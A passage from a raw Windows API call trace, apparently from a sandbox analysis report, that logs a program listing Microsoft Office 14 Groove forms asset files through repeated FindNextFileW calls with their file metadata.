ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1313, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa89, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewTemplate.html", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x23ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f4a00, ftCreationTime.dwHighDateTime=0x1c9fe9d, ftLastAccessTime.dwLowDateTime=0x58285d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x418f4a00, ftLastWriteTime.dwHighDateTime=0x1c9fe9d, nFileSizeHigh=0x0, nFileSizeLow=0x30074, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1018, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031bc00, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3031bc00, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b96400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96b96400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0078.760] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b9b600, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58b9b600, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ea9100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97ea9100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12b79, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e57, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6427, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1db1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 0 [0078.761] GetLastError () returned 0x12 [0078.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9080 [0078.761] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageSlice.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, 